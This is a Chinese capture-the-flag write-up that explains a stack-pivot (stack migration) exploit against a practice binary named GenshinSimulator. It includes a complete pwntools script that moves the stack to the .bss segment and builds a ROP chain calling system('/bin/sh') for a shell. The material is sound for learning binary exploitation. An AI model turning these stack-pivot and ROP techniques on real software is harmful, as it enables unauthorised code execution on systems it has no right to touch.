原神-栈转移
先回忆一下学长上次的解题要点讲解:
- 数据在内存中,是没有指定格式的
- 一些整型数据,刚好可以对应字符串
- 利用已映射的字符串,作为system的参数
如果找不出到题目真正的考点,或者写不出自动抽卡脚本,就只有用栈转移的暴力方法来做了
程序分析
拿到程序,首先checksec检查一下
No PIE,NO canary,意味着可以少写一点exp
IDA ,F5直接定位到可导致栈溢出的函数:read()
因为只有NX保护,所以按理说是比较好getshell的,但是此处的read函数,只接受0x58个字符串,再来看看栈中,要达到溢出,至少要0x30个字符,能够利用的,只有40个byte
如果要用常规方法getshell,payload至少要有占据:
fake_ebp = p64(0xdeadbeef)
pop_ret = p64(ga_addr)
sh_addr = p64(bin/sh_addr)
sys_addr = p64(system_addr)
ret_addr = p64(read_addr)
40 byte根本不够用。这个时候,就能利用栈转移在另一个地方重新布置rop链了。具体原理见ctfwiki->Fancy ROP。
实现及exp
这里使用bss段作为栈迁移的地址,为了防止影响其他的数据,所以选择bss + 0x500作为栈转移地址
bss_addr = elf.bss(0x500)
system函数地址:
sys_addr = elf.symbols[“system”]
返回地址:
一般选择上一个函数结束的位置作为返回地址
payload1 = b'a' * 0x30 + payload = bytes('a' * 0x30,"utf-8") +p64(bss_addr) + p64(read_main)
payload = payload.ljust(0x58,b'b')
附加调试器在发送payload之前观察运行情况
gdb.attach( p )
可以看到,执行leave指令后,RBP变成了BSS段的地址,ret的返回地址为read_main的地址,而再往下,就会执行到read函数.
可以看到,再这个地方,read的地址地址参数也变成了bss段的地址,因为在这之前也有函数执行(所以就有mov rsp rbp的指令,每个函数结束后,栈帧又复原)和我们原来的bss段的地址相差E0 - B0 = 0x30,这个地方需要注意一下,后面布栈会用到
栈转移和控制程序执行流都成功一半,再来编写后面的payload,后面的payload主要有:
padding + pop + bss_addr + sys_addr
先放上已经写好的payload的调试执行流程
可以看到pop rdi的目标RSP指向的是0x6027e0,也就是最开始我们迁移到bss段地址的地方,但是read却把读入的字符串存储到0x6027b0,所以再写第二个payload的时候,要注意加上偏移,才能正确控制执行流,而且要确保padding + pop + bss_addr + sys_addr中,bss_addr的地址,和/bin/sh的地址一致
那么就有了payload2:
payload = b'a'* 48 + b'/bin/sh\x00' + p64(pop_rdi) + p64(bss_addr) + p64(sys_addr)
payload = payload.ljust(0x58,b'b')
exp:
#调试的时,gdb输入命令set follow-fork-mode parent
from pwn import *
context.log_level = "debug"
p = process("/mnt/c/Users/FALLEN/OneDrive/ctfprac/pwn/Genshin/GenshinSimulator")
elf = ELF("/mnt/c/Users/FALLEN/OneDrive/ctfprac/pwn/Genshin/GenshinSimulator")
bss_addr = elf.bss(0x500)
print(bss_addr)
sys_addr = elf.plt["system"]
read_main = 0x0000000000400C63
pop_rdi=0x400d13 #pop rdi ; ret
p.recv()
p.sendline('3')
p.recv()
p.sendline('1')
p.recv()
#gdb.attach(p)
payload = bytes('a' * 0x30,"utf-8") +p64(bss_addr) + p64(read_main)
payload = payload.ljust(0x58,b'b') #很重要,如果不填充,会影响下次一的数据输入
p.send(payload)
sleep(5)
payload = b'a'* 48 + b'/bin/sh\x00' + p64(pop_rdi) + p64(bss_addr) + p64(sys_addr) #一直填充到0x30,才能添入/bin/sh,应该是
payload = payload.ljust(0x58,b'b') #read的时候,执行了sub rsp 0x30,而bss_addr对应的地址又刚好是栈中RBP的地址
p.send(payload)
#gdb.attach(p)
p.interactive()